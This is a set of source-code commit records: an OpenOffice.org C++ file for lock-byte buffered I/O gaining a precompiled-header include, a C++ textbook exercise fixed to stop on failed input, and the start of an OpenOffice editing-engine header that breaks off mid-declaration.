Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n ************************************************************************\/\n\n#ifndef _SV_SVAPP_HXX\n#include <vcl\/svapp.hxx>\n#endif\n\n#ifndef _FLBYTES_HXX\n#include <flbytes.hxx>\n#endif\n\n#ifndef _SVSTDARR_ULONGS_DECL\n#define _SVSTDARR_ULONGS\n#include <svstdarr.hxx>\n#undef _SVSTDARR_ULONGS\n#endif\n\nnamespace unnamed_svtools_flbytes {} using namespace unnamed_svtools_flbytes;\n \/\/ unnamed namespaces don't work well yet\n\n\/\/============================================================================\nnamespace unnamed_svtools_flbytes {\n\ninline ULONG MyMin( long a, long b )\n{\n return Max( long( Min( a , b ) ), 0L );\n}\n\n}\n\n\/\/============================================================================\n\/\/\n\/\/ SvFillLockBytes\n\/\/\n\/\/============================================================================\n\nTYPEINIT1(SvFillLockBytes, SvLockBytes);\n\n\/\/============================================================================\nSvFillLockBytes::SvFillLockBytes( SvLockBytes* pLockBytes )\n : xLockBytes( pLockBytes ),\n nFilledSize( 0 ),\n bTerminated( FALSE )\n{\n}\n\n\/\/============================================================================\nErrCode SvFillLockBytes::ReadAt( ULONG nPos, void* pBuffer, ULONG nCount,\n ULONG *pRead ) const\n{\n if( bTerminated )\n return xLockBytes->ReadAt( nPos, pBuffer, nCount, pRead );\n else\n {\n ULONG nWanted = nPos + nCount;\n if( IsSynchronMode() )\n {\n while( nWanted > nFilledSize && !bTerminated )\n Application::Yield();\n return xLockBytes->ReadAt( nPos, pBuffer, nCount, pRead );\n }\n else\n {\n ULONG nRead = MyMin( nCount, long( nFilledSize ) - nPos );\n ULONG nErr = xLockBytes->ReadAt( nPos, pBuffer, nRead, pRead );\n return ( !nCount || nRead == nCount || nErr ) ?\n nErr : ERRCODE_IO_PENDING;\n }\n }\n}\n\n\/\/============================================================================\nErrCode SvFillLockBytes::WriteAt( ULONG nPos, const void* pBuffer,\n ULONG nCount, ULONG *pWritten )\n{\n if( bTerminated )\n return xLockBytes->WriteAt( nPos, pBuffer, nCount, pWritten );\n else\n {\n ULONG nWanted = nPos + nCount;\n if( IsSynchronMode() )\n {\n while( nWanted > nFilledSize && !bTerminated )\n Application::Yield();\n return xLockBytes->WriteAt( nPos, pBuffer, nCount, pWritten );\n }\n else\n {\n ULONG nRead = MyMin( nCount, long( nFilledSize ) - nPos );\n ULONG nErr = xLockBytes->WriteAt( nPos, pBuffer, nRead, pWritten );\n return ( !nCount || nRead == nCount || nErr ) ?\n nErr : ERRCODE_IO_PENDING;\n }\n }\n}\n\n\/\/============================================================================\nErrCode SvFillLockBytes::Flush() const\n{\n return xLockBytes->Flush( );\n}\n\n\/\/============================================================================\nErrCode SvFillLockBytes::SetSize( ULONG nSize )\n{\n return xLockBytes->SetSize( nSize );\n}\n\n\/\/============================================================================\nErrCode SvFillLockBytes::LockRegion( ULONG nPos, ULONG nCount, LockType eType)\n{\n return xLockBytes->LockRegion( nPos, nCount, eType );\n}\n\n\/\/============================================================================\nErrCode SvFillLockBytes::UnlockRegion(\n ULONG nPos, ULONG nCount, LockType eType)\n{\n return xLockBytes->UnlockRegion( nPos, nCount, eType );\n}\n\n\/\/============================================================================\nErrCode SvFillLockBytes::Stat(\n SvLockBytesStat* pStat, SvLockBytesStatFlag eFlag) const\n{\n return xLockBytes->Stat( pStat, eFlag );\n}\n\n\/\/============================================================================\nErrCode SvFillLockBytes::FillAppend( const void* pBuffer, ULONG nCount, ULONG *pWritten )\n{\n ErrCode nRet = xLockBytes->WriteAt(\n nFilledSize, pBuffer, nCount, pWritten );\n nFilledSize += *pWritten;\n return nRet;\n}\n\n\/\/============================================================================\nvoid SvFillLockBytes::Terminate()\n{\n bTerminated = TRUE;\n}\n\n\/\/============================================================================\nSV_DECL_IMPL_REF_LIST( SvLockBytes, SvLockBytes* )\n\n\/\/============================================================================\n\/\/\n\/\/ SvSyncLockBytes\n\/\/\n\/\/============================================================================\n\nTYPEINIT1(SvSyncLockBytes, SvOpenLockBytes);\n\n\/\/============================================================================\n\/\/ virtual\nErrCode SvSyncLockBytes::ReadAt(ULONG nPos, void * pBuffer, ULONG nCount,\n ULONG * pRead) const\n{\n for (ULONG nReadTotal = 0;;)\n {\n ULONG nReadCount = 0;\n ErrCode nError = m_xAsyncLockBytes->ReadAt(nPos, pBuffer, nCount,\n &nReadCount);\n nReadTotal += nReadCount;\n if (nError != ERRCODE_IO_PENDING || !IsSynchronMode())\n {\n if (pRead)\n *pRead = nReadTotal;\n return nError;\n }\n nPos += nReadCount;\n pBuffer = static_cast< sal_Char * >(pBuffer) + nReadCount;\n nCount -= nReadCount;\n Application::Yield();\n }\n}\n\n\/\/============================================================================\n\/\/ virtual\nErrCode SvSyncLockBytes::WriteAt(ULONG nPos, const void * pBuffer,\n ULONG nCount, ULONG * pWritten)\n{\n for (ULONG nWrittenTotal = 0;;)\n {\n ULONG nWrittenCount = 0;\n ErrCode nError = m_xAsyncLockBytes->WriteAt(nPos, pBuffer, nCount,\n &nWrittenCount);\n nWrittenTotal += nWrittenCount;\n if (nError != ERRCODE_IO_PENDING || !IsSynchronMode())\n {\n if (pWritten)\n *pWritten = nWrittenTotal;\n return nError;\n }\n nPos += nWrittenCount;\n pBuffer = static_cast< sal_Char const * >(pBuffer) + nWrittenCount;\n nCount -= nWrittenCount;\n Application::Yield();\n }\n}\n\n\/\/============================================================================\n\/\/\n\/\/ SvCompositeLockBytes\n\/\/\n\/\/============================================================================\n\nstruct SvCompositeLockBytes_Impl\n{\n SvLockBytesMemberList aLockBytes;\n SvULongs aPositions;\n SvULongs aOffsets;\n BOOL bPending;\n ULONG RelativeOffset( ULONG nPos ) const;\n ErrCode ReadWrite_Impl(\n ULONG nPos, void* pBuffer, ULONG nCount, ULONG* pProcessed,\n BOOL bRead );\n SvCompositeLockBytes_Impl() : bPending( FALSE ){}\n};\n\n\/\/============================================================================\nULONG SvCompositeLockBytes_Impl::RelativeOffset( ULONG nPos ) const\n{\n const SvULongs& rPositions = aPositions;\n const SvULongs& rOffsets = aOffsets;\n\n USHORT nMinPos = 0;\n USHORT nListCount = rPositions.Count();\n\n \/\/ Erster Lockbytes, der bearbeitet werden muss\n while( nMinPos + 1 < nListCount && rPositions[ nMinPos + 1 ] <= nPos )\n nMinPos ++;\n ULONG nSectionStart = rPositions[ nMinPos ];\n if( nSectionStart > nPos )\n return ULONG_MAX;\n return rOffsets[ nMinPos ] + nPos - nSectionStart;\n}\n\n\/\/============================================================================\nErrCode SvCompositeLockBytes_Impl::ReadWrite_Impl(\n ULONG nPos, void* pBuffer, ULONG nCount, ULONG* pProcessed,\n BOOL bRead )\n{\n ErrCode nErr = ERRCODE_NONE;\n SvULongs& rPositions = aPositions;\n SvULongs& rOffsets = aOffsets;\n SvLockBytesMemberList& rLockBytes = aLockBytes;\n\n ULONG nBytes = nCount;\n USHORT nListCount = rPositions.Count();\n USHORT nMinPos = 0;\n\n \/\/ Erster Lockbytes, der bearbeitet werden muss\n while( nMinPos + 1 < nListCount && rPositions[ nMinPos + 1 ] <= nPos )\n nMinPos ++;\n ULONG nSectionStart = rPositions[ nMinPos ];\n\n if( nSectionStart > nPos )\n {\n \/\/ Es wird aus fuehrendem Leerbereich gearbeitet\n *pProcessed = 0;\n return ERRCODE_IO_CANTREAD;\n }\n\n ULONG nDone;\n while( nMinPos < nListCount )\n {\n ULONG nToProcess;\n ULONG nSectionStop;\n if( nMinPos + 1 < nListCount )\n {\n nSectionStop = rPositions[ nMinPos + 1 ];\n nToProcess = MyMin( long( nSectionStop ) - nPos, nBytes );\n }\n else\n {\n nToProcess = nBytes;\n nSectionStop = 0;\n }\n ULONG nAbsPos = nPos - nSectionStart + rOffsets[ nMinPos ];\n SvLockBytes* pLB = rLockBytes.GetObject( nMinPos );\n if( bRead )\n nErr = pLB->ReadAt( nAbsPos, pBuffer, nToProcess, &nDone );\n else\n nErr = pLB->WriteAt( nAbsPos, pBuffer, nToProcess, &nDone );\n nBytes -= nDone;\n if( nErr || nDone < nToProcess || !nBytes )\n {\n *pProcessed = nCount - nBytes;\n \/\/ Wenn aus dem letzten LockBytes nichts mehr gelesen wurde und\n \/\/ bPending gesetzt ist, Pending zurueck\n if( !nDone && nMinPos == nListCount - 1 )\n return bPending ? ERRCODE_IO_PENDING : nErr;\n else return nErr;\n }\n pBuffer = static_cast< sal_Char * >(pBuffer) + nDone;\n nPos += nDone;\n nSectionStart = nSectionStop;\n nMinPos++;\n }\n return nErr;\n}\n\n\/\/============================================================================\nTYPEINIT1(SvCompositeLockBytes, SvLockBytes);\n\n\/\/============================================================================\nSvCompositeLockBytes::SvCompositeLockBytes()\n : pImpl( new SvCompositeLockBytes_Impl )\n{\n}\n\n\/\/============================================================================\nSvCompositeLockBytes::~SvCompositeLockBytes()\n{\n delete pImpl;\n}\n\n\/\/============================================================================\nvoid SvCompositeLockBytes::SetIsPending( BOOL bSet )\n{\n pImpl->bPending = bSet;\n}\n\n\/\/============================================================================\nULONG SvCompositeLockBytes::RelativeOffset( ULONG nPos ) const\n{\n return pImpl->RelativeOffset( nPos );\n}\n\n\/\/============================================================================\nErrCode SvCompositeLockBytes::ReadAt(\n ULONG nPos, void* pBuffer, ULONG nCount, ULONG* pRead ) const\n{\n return pImpl->ReadWrite_Impl( nPos, pBuffer, nCount, pRead, TRUE );\n}\n\n\/\/============================================================================\nErrCode SvCompositeLockBytes::WriteAt(\n ULONG nPos, const void* pBuffer, ULONG nCount, ULONG* pWritten )\n{\n return pImpl->ReadWrite_Impl(\n nPos, const_cast< void * >(pBuffer), nCount, pWritten, FALSE );\n}\n\n\/\/============================================================================\nErrCode SvCompositeLockBytes::Flush() const\n{\n SvLockBytesMemberList& rLockBytes = pImpl->aLockBytes;\n ErrCode nErr = ERRCODE_NONE;\n for( USHORT nCount = (USHORT)rLockBytes.Count(); !nErr && nCount--; )\n nErr = rLockBytes.GetObject( nCount )->Flush();\n return nErr;\n}\n\n\/\/============================================================================\nErrCode SvCompositeLockBytes::SetSize( ULONG )\n{\n DBG_ERROR( \"not implemented\" );\n return ERRCODE_IO_NOTSUPPORTED;\n}\n\n\/\/============================================================================\nErrCode SvCompositeLockBytes::LockRegion( ULONG, ULONG, LockType )\n{\n DBG_ERROR( \"not implemented\" );\n return ERRCODE_IO_NOTSUPPORTED;\n}\n\n\/\/============================================================================\nErrCode SvCompositeLockBytes::UnlockRegion(\n ULONG, ULONG, LockType )\n{\n DBG_ERROR( \"not implemented\" );\n return ERRCODE_IO_NOTSUPPORTED;\n}\n\n\/\/============================================================================\nErrCode SvCompositeLockBytes::Stat(\n SvLockBytesStat* pStat, SvLockBytesStatFlag eFlag) const\n{\n USHORT nMax = pImpl->aPositions.Count() - 1;\n\n SvLockBytesStat aStat;\n ErrCode nErr = pImpl->aLockBytes.GetObject( nMax )->Stat( &aStat, eFlag );\n pStat->nSize = pImpl->aPositions[ nMax ] + aStat.nSize;\n\n return nErr;\n}\n\n\/\/============================================================================\nvoid SvCompositeLockBytes::Append(\n SvLockBytes* pLockBytes, ULONG nPos, ULONG nOffset )\n{\n USHORT nCount = pImpl->aOffsets.Count();\n pImpl->aLockBytes.Insert( pLockBytes, nCount );\n pImpl->aPositions.Insert( nPos, nCount );\n pImpl->aOffsets.Insert( nOffset, nCount );\n}\n\n\/\/============================================================================\nSvLockBytes* SvCompositeLockBytes::GetLastLockBytes() const\n{\n return pImpl->aLockBytes.Count() ?\n pImpl->aLockBytes.GetObject( pImpl->aLockBytes.Count() - 1 ) : 0;\n}\n\n<commit_msg>INTEGRATION: CWS pchfix02 (1.3.92); FILE MERGED 2006\/09\/01 17:43:19 kaib 1.3.92.1: #i68856# Added header markers and pch files<commit_after>\/*************************************************************************\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: flbytes.cxx,v $\n *\n * $Revision: 1.4 $\n *\n * last change: $Author: obo $ $Date: 2006-09-17 15:10:10 $\n *\n * The Contents of this file are made available subject to\n * the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2005 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n ************************************************************************\/\n\n\/\/ MARKER(update_precomp.py): autogen include statement, do not remove\n#include \"precompiled_svtools.hxx\"\n\n#ifndef _SV_SVAPP_HXX\n#include <vcl\/svapp.hxx>\n#endif\n\n#ifndef _FLBYTES_HXX\n#include <flbytes.hxx>\n#endif\n\n#ifndef _SVSTDARR_ULONGS_DECL\n#define _SVSTDARR_ULONGS\n#include <svstdarr.hxx>\n#undef _SVSTDARR_ULONGS\n#endif\n\nnamespace unnamed_svtools_flbytes {} using namespace unnamed_svtools_flbytes;\n \/\/ unnamed namespaces don't work well yet\n\n\/\/============================================================================\nnamespace unnamed_svtools_flbytes {\n\ninline ULONG MyMin( long a, long b )\n{\n return Max( long( Min( a , b ) ), 0L );\n}\n\n}\n\n\/\/============================================================================\n\/\/\n\/\/ SvFillLockBytes\n\/\/\n\/\/============================================================================\n\nTYPEINIT1(SvFillLockBytes, SvLockBytes);\n\n\/\/============================================================================\nSvFillLockBytes::SvFillLockBytes( SvLockBytes* pLockBytes )\n : xLockBytes( pLockBytes ),\n nFilledSize( 0 ),\n bTerminated( FALSE )\n{\n}\n\n\/\/============================================================================\nErrCode SvFillLockBytes::ReadAt( ULONG nPos, void* pBuffer, ULONG nCount,\n ULONG *pRead ) const\n{\n if( bTerminated )\n return xLockBytes->ReadAt( nPos, pBuffer, nCount, pRead );\n else\n {\n ULONG nWanted = nPos + nCount;\n if( IsSynchronMode() )\n {\n while( nWanted > nFilledSize && !bTerminated )\n Application::Yield();\n return xLockBytes->ReadAt( nPos, pBuffer, nCount, pRead );\n }\n else\n {\n ULONG nRead = MyMin( nCount, long( nFilledSize ) - nPos );\n ULONG nErr = xLockBytes->ReadAt( nPos, pBuffer, nRead, pRead );\n return ( !nCount || nRead == nCount || nErr ) ?\n nErr : ERRCODE_IO_PENDING;\n }\n }\n}\n\n\/\/============================================================================\nErrCode SvFillLockBytes::WriteAt( ULONG nPos, const void* pBuffer,\n ULONG nCount, ULONG *pWritten )\n{\n if( bTerminated )\n return xLockBytes->WriteAt( nPos, pBuffer, nCount, pWritten );\n else\n {\n ULONG nWanted = nPos + nCount;\n if( IsSynchronMode() )\n {\n while( nWanted > nFilledSize && !bTerminated )\n Application::Yield();\n return xLockBytes->WriteAt( nPos, pBuffer, nCount, pWritten );\n }\n else\n {\n ULONG nRead = MyMin( nCount, long( nFilledSize ) - nPos );\n ULONG nErr = xLockBytes->WriteAt( nPos, pBuffer, nRead, pWritten );\n return ( !nCount || nRead == nCount || nErr ) ?\n nErr : ERRCODE_IO_PENDING;\n }\n }\n}\n\n\/\/============================================================================\nErrCode SvFillLockBytes::Flush() const\n{\n return xLockBytes->Flush( );\n}\n\n\/\/============================================================================\nErrCode SvFillLockBytes::SetSize( ULONG nSize )\n{\n return xLockBytes->SetSize( nSize );\n}\n\n\/\/============================================================================\nErrCode SvFillLockBytes::LockRegion( ULONG nPos, ULONG nCount, LockType eType)\n{\n return xLockBytes->LockRegion( nPos, nCount, eType );\n}\n\n\/\/============================================================================\nErrCode SvFillLockBytes::UnlockRegion(\n ULONG nPos, ULONG nCount, LockType eType)\n{\n return xLockBytes->UnlockRegion( nPos, nCount, eType );\n}\n\n\/\/============================================================================\nErrCode SvFillLockBytes::Stat(\n SvLockBytesStat* pStat, SvLockBytesStatFlag eFlag) const\n{\n return xLockBytes->Stat( pStat, eFlag );\n}\n\n\/\/============================================================================\nErrCode SvFillLockBytes::FillAppend( const void* pBuffer, ULONG nCount, ULONG *pWritten )\n{\n ErrCode nRet = xLockBytes->WriteAt(\n nFilledSize, pBuffer, nCount, pWritten );\n nFilledSize += *pWritten;\n return nRet;\n}\n\n\/\/============================================================================\nvoid SvFillLockBytes::Terminate()\n{\n bTerminated = TRUE;\n}\n\n\/\/============================================================================\nSV_DECL_IMPL_REF_LIST( SvLockBytes, SvLockBytes* )\n\n\/\/============================================================================\n\/\/\n\/\/ SvSyncLockBytes\n\/\/\n\/\/============================================================================\n\nTYPEINIT1(SvSyncLockBytes, SvOpenLockBytes);\n\n\/\/============================================================================\n\/\/ virtual\nErrCode SvSyncLockBytes::ReadAt(ULONG nPos, void * pBuffer, ULONG nCount,\n ULONG * pRead) const\n{\n for (ULONG nReadTotal = 0;;)\n {\n ULONG nReadCount = 0;\n ErrCode nError = m_xAsyncLockBytes->ReadAt(nPos, pBuffer, nCount,\n &nReadCount);\n nReadTotal += nReadCount;\n if (nError != ERRCODE_IO_PENDING || !IsSynchronMode())\n {\n if (pRead)\n *pRead = nReadTotal;\n return nError;\n }\n nPos += nReadCount;\n pBuffer = static_cast< sal_Char * >(pBuffer) + nReadCount;\n nCount -= nReadCount;\n Application::Yield();\n }\n}\n\n\/\/============================================================================\n\/\/ virtual\nErrCode SvSyncLockBytes::WriteAt(ULONG nPos, const void * pBuffer,\n ULONG nCount, ULONG * pWritten)\n{\n for (ULONG nWrittenTotal = 0;;)\n {\n ULONG nWrittenCount = 0;\n ErrCode nError = m_xAsyncLockBytes->WriteAt(nPos, pBuffer, nCount,\n &nWrittenCount);\n nWrittenTotal += nWrittenCount;\n if (nError != ERRCODE_IO_PENDING || !IsSynchronMode())\n {\n if (pWritten)\n *pWritten = nWrittenTotal;\n return nError;\n }\n nPos += nWrittenCount;\n pBuffer = static_cast< sal_Char const * >(pBuffer) + nWrittenCount;\n nCount -= nWrittenCount;\n Application::Yield();\n }\n}\n\n\/\/============================================================================\n\/\/\n\/\/ SvCompositeLockBytes\n\/\/\n\/\/============================================================================\n\nstruct SvCompositeLockBytes_Impl\n{\n SvLockBytesMemberList aLockBytes;\n SvULongs aPositions;\n SvULongs aOffsets;\n BOOL bPending;\n ULONG RelativeOffset( ULONG nPos ) const;\n ErrCode ReadWrite_Impl(\n ULONG nPos, void* pBuffer, ULONG nCount, ULONG* pProcessed,\n BOOL bRead );\n SvCompositeLockBytes_Impl() : bPending( FALSE ){}\n};\n\n\/\/============================================================================\nULONG SvCompositeLockBytes_Impl::RelativeOffset( ULONG nPos ) const\n{\n const SvULongs& rPositions = aPositions;\n const SvULongs& rOffsets = aOffsets;\n\n USHORT nMinPos = 0;\n USHORT nListCount = rPositions.Count();\n\n \/\/ Erster Lockbytes, der bearbeitet werden muss\n while( nMinPos + 1 < nListCount && rPositions[ nMinPos + 1 ] <= nPos )\n nMinPos ++;\n ULONG nSectionStart = rPositions[ nMinPos ];\n if( nSectionStart > nPos )\n return ULONG_MAX;\n return rOffsets[ nMinPos ] + nPos - nSectionStart;\n}\n\n\/\/============================================================================\nErrCode SvCompositeLockBytes_Impl::ReadWrite_Impl(\n ULONG nPos, void* pBuffer, ULONG nCount, ULONG* pProcessed,\n BOOL bRead )\n{\n ErrCode nErr = ERRCODE_NONE;\n SvULongs& rPositions = aPositions;\n SvULongs& rOffsets = aOffsets;\n SvLockBytesMemberList& rLockBytes = aLockBytes;\n\n ULONG nBytes = nCount;\n USHORT nListCount = rPositions.Count();\n USHORT nMinPos = 0;\n\n \/\/ Erster Lockbytes, der bearbeitet werden muss\n while( nMinPos + 1 < nListCount && rPositions[ nMinPos + 1 ] <= nPos )\n nMinPos ++;\n ULONG nSectionStart = rPositions[ nMinPos ];\n\n if( nSectionStart > nPos )\n {\n \/\/ Es wird aus fuehrendem Leerbereich gearbeitet\n *pProcessed = 0;\n return ERRCODE_IO_CANTREAD;\n }\n\n ULONG nDone;\n while( nMinPos < nListCount )\n {\n ULONG nToProcess;\n ULONG nSectionStop;\n if( nMinPos + 1 < nListCount )\n {\n nSectionStop = rPositions[ nMinPos + 1 ];\n nToProcess = MyMin( long( nSectionStop ) - nPos, nBytes );\n }\n else\n {\n nToProcess = nBytes;\n nSectionStop = 0;\n }\n ULONG nAbsPos = nPos - nSectionStart + rOffsets[ nMinPos ];\n SvLockBytes* pLB = rLockBytes.GetObject( nMinPos );\n if( bRead )\n nErr = pLB->ReadAt( nAbsPos, pBuffer, nToProcess, &nDone );\n else\n nErr = pLB->WriteAt( nAbsPos, pBuffer, nToProcess, &nDone );\n nBytes -= nDone;\n if( nErr || nDone < nToProcess || !nBytes )\n {\n *pProcessed = nCount - nBytes;\n \/\/ Wenn aus dem letzten LockBytes nichts mehr gelesen wurde und\n \/\/ bPending gesetzt ist, Pending zurueck\n if( !nDone && nMinPos == nListCount - 1 )\n return bPending ? ERRCODE_IO_PENDING : nErr;\n else return nErr;\n }\n pBuffer = static_cast< sal_Char * >(pBuffer) + nDone;\n nPos += nDone;\n nSectionStart = nSectionStop;\n nMinPos++;\n }\n return nErr;\n}\n\n\/\/============================================================================\nTYPEINIT1(SvCompositeLockBytes, SvLockBytes);\n\n\/\/============================================================================\nSvCompositeLockBytes::SvCompositeLockBytes()\n : pImpl( new SvCompositeLockBytes_Impl )\n{\n}\n\n\/\/============================================================================\nSvCompositeLockBytes::~SvCompositeLockBytes()\n{\n delete pImpl;\n}\n\n\/\/============================================================================\nvoid SvCompositeLockBytes::SetIsPending( BOOL bSet )\n{\n pImpl->bPending = bSet;\n}\n\n\/\/============================================================================\nULONG SvCompositeLockBytes::RelativeOffset( ULONG nPos ) const\n{\n return pImpl->RelativeOffset( nPos );\n}\n\n\/\/============================================================================\nErrCode SvCompositeLockBytes::ReadAt(\n ULONG nPos, void* pBuffer, ULONG nCount, ULONG* pRead ) const\n{\n return pImpl->ReadWrite_Impl( nPos, pBuffer, nCount, pRead, TRUE );\n}\n\n\/\/============================================================================\nErrCode SvCompositeLockBytes::WriteAt(\n ULONG nPos, const void* pBuffer, ULONG nCount, ULONG* pWritten )\n{\n return pImpl->ReadWrite_Impl(\n nPos, const_cast< void * >(pBuffer), nCount, pWritten, FALSE );\n}\n\n\/\/============================================================================\nErrCode SvCompositeLockBytes::Flush() const\n{\n SvLockBytesMemberList& rLockBytes = pImpl->aLockBytes;\n ErrCode nErr = ERRCODE_NONE;\n for( USHORT nCount = (USHORT)rLockBytes.Count(); !nErr && nCount--; )\n nErr = rLockBytes.GetObject( nCount )->Flush();\n return nErr;\n}\n\n\/\/============================================================================\nErrCode SvCompositeLockBytes::SetSize( ULONG )\n{\n DBG_ERROR( \"not implemented\" );\n return ERRCODE_IO_NOTSUPPORTED;\n}\n\n\/\/============================================================================\nErrCode SvCompositeLockBytes::LockRegion( ULONG, ULONG, LockType )\n{\n DBG_ERROR( \"not implemented\" );\n return ERRCODE_IO_NOTSUPPORTED;\n}\n\n\/\/============================================================================\nErrCode SvCompositeLockBytes::UnlockRegion(\n ULONG, ULONG, LockType )\n{\n DBG_ERROR( \"not implemented\" );\n return ERRCODE_IO_NOTSUPPORTED;\n}\n\n\/\/============================================================================\nErrCode SvCompositeLockBytes::Stat(\n SvLockBytesStat* pStat, SvLockBytesStatFlag eFlag) const\n{\n USHORT nMax = pImpl->aPositions.Count() - 1;\n\n SvLockBytesStat aStat;\n ErrCode nErr = pImpl->aLockBytes.GetObject( nMax )->Stat( &aStat, eFlag );\n pStat->nSize = pImpl->aPositions[ nMax ] + aStat.nSize;\n\n return nErr;\n}\n\n\/\/============================================================================\nvoid SvCompositeLockBytes::Append(\n SvLockBytes* pLockBytes, ULONG nPos, ULONG nOffset )\n{\n USHORT nCount = pImpl->aOffsets.Count();\n pImpl->aLockBytes.Insert( pLockBytes, nCount );\n pImpl->aPositions.Insert( nPos, nCount );\n pImpl->aOffsets.Insert( nOffset, nCount );\n}\n\n\/\/============================================================================\nSvLockBytes* SvCompositeLockBytes::GetLastLockBytes() const\n{\n return pImpl->aLockBytes.Count() ?\n pImpl->aLockBytes.GetObject( pImpl->aLockBytes.Count() - 1 ) : 0;\n}\n\n<|endoftext|>"} {"text":"<commit_before>\/\/\n\/\/ ex7_13.cpp\n\/\/ Exercise 7.13\n\/\/\n\/\/ Created by pezy on 11\/9\/14.\n\/\/\n\n#include \"ex7_12.h\"\n\nint main()\n{\n Sales_data total(std::cin);\n if (!total.isbn().empty())\n {\n std::istream &is = std::cin;\n while (is) {\n Sales_data trans(is);\n if (total.isbn() == trans.isbn())\n total.combine(trans);\n else {\n print(std::cout, total) << std::endl;\n total = trans;\n }\n }\n print(std::cout, total) << std::endl;\n }\n else\n {\n std::cerr << \"No data?!\" << std::endl;\n return -1;\n }\n \n return 0;\n}\n<commit_msg>Fixed #658<commit_after>\/\/\n\/\/ ex7_13.cpp\n\/\/ Exercise 7.13\n\/\/\n\/\/ Created by pezy on 11\/9\/14.\n\/\/\n\n#include \"ex7_12.h\"\n\nint main()\n{\n Sales_data total(std::cin);\n if (!total.isbn().empty())\n {\n std::istream &is = std::cin;\n while (is) {\n Sales_data trans(is);\n if (!is) break;\n if (total.isbn() == trans.isbn())\n total.combine(trans);\n else {\n print(std::cout, total) << std::endl;\n total = trans;\n }\n }\n print(std::cout, total) << std::endl;\n }\n else\n {\n std::cerr << \"No data?!\" << std::endl;\n return -1;\n }\n \n return 0;\n}\n<|endoftext|>"} {"text":"<commit_before>\/*************************************************************************\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: editobj2.hxx,v $\n *\n * $Revision: 1.6 $\n *\n * last change: $Author: rt $ $Date: 2005-09-08 22:28:19 $\n *\n * The Contents of this file are made available subject to\n * the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2005 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n ************************************************************************\/\n\n#ifndef _EDITOBJ2_HXX\n#define _EDITOBJ2_HXX\n\n#include <editobj.hxx>\n#include <editdoc.hxx>\n\n#include <vcl\/fontcvt.hxx>\n\n\nclass SfxStyleSheetPool;\n\nclass XEditAttribute\n{\n friend class ContentInfo; \/\/ fuer DTOR\n friend class BinTextObject; \/\/ fuer DTOR\n\nprivate:\n const SfxPoolItem* pItem;\n USHORT nStart;\n USHORT nEnd;\n\n XEditAttribute();\n XEditAttribute( const XEditAttribute& rCopyFrom );\n\n ~XEditAttribute();\n\npublic:\n XEditAttribute( const SfxPoolItem& rAttr );\n XEditAttribute( const SfxPoolItem& rAttr, USHORT nStart, USHORT nEnd );\n\n const SfxPoolItem* GetItem() const { return pItem; }\n\n USHORT& GetStart() { return nStart; }\n USHORT& GetEnd() { return nEnd; }\n\n USHORT GetStart() const { return nStart; }\n USHORT GetEnd() const { return nEnd; }\n\n USHORT GetLen() const { return nEnd-nStart; }\n\n inline BOOL IsFeature();\n};\n\ninline BOOL XEditAttribute::IsFeature()\n{\n USHORT nWhich = pItem->Which();\n return ( ( nWhich >= EE_FEATURE_START ) &&\n ( nWhich <= EE_FEATURE_END ) );\n}\n\ntypedef XEditAttribute* XEditAttributePtr;\nSV_DECL_PTRARR( XEditAttributeListImpl, XEditAttributePtr, 0, 4 );\n\nclass XEditAttributeList : public XEditAttributeListImpl\n{\npublic:\n XEditAttribute* FindAttrib( USHORT nWhich, USHORT nChar ) const;\n};\n\nstruct XParaPortion\n{\n long nHeight;\n USHORT nFirstLineOffset;\n\n EditLineList aLines;\n TextPortionList aTextPortions;\n};\n\ntypedef XParaPortion* XParaPortionPtr;\nSV_DECL_PTRARR( XBaseParaPortionList, XParaPortionPtr, 0, 4 );\n\nclass XParaPortionList : public XBaseParaPortionList\n{\n ULONG nRefDevPtr;\n OutDevType eRefDevType;\n MapMode aRefMapMode;\n ULONG nPaperWidth;\n\n\npublic:\n XParaPortionList( OutputDevice* pRefDev, ULONG nPW ) :\n aRefMapMode( pRefDev->GetMapMode() )\n {\n nRefDevPtr = (ULONG)pRefDev; nPaperWidth = nPW;\n eRefDevType = pRefDev->GetOutDevType();\n }\n\n ULONG GetRefDevPtr() const { return nRefDevPtr; }\n ULONG GetPaperWidth() const { return nPaperWidth; }\n OutDevType GetRefDevType() const { return eRefDevType; }\n const MapMode& GetRefMapMode() const { return aRefMapMode; }\n};\n\nstruct LoadStoreTempInfos\n{\n ByteString aOrgString_Load;\n\n FontToSubsFontConverter hOldSymbolConv_Store;\n BOOL bSymbolParagraph_Store;\n\n\n LoadStoreTempInfos() { bSymbolParagraph_Store = FALSE; hOldSymbolConv_Store = NULL; }\n};\n\nclass ContentInfo\n{\n friend class BinTextObject;\n\nprivate:\n String aText;\n String aStyle;\n XEditAttributeList aAttribs;\n SfxStyleFamily eFamily;\n SfxItemSet aParaAttribs;\n WrongList* pWrongs;\n\n LoadStoreTempInfos* pTempLoadStoreInfos;\n\n ContentInfo( SfxItemPool& rPool );\n ContentInfo( const ContentInfo& rCopyFrom, SfxItemPool& rPoolToUse 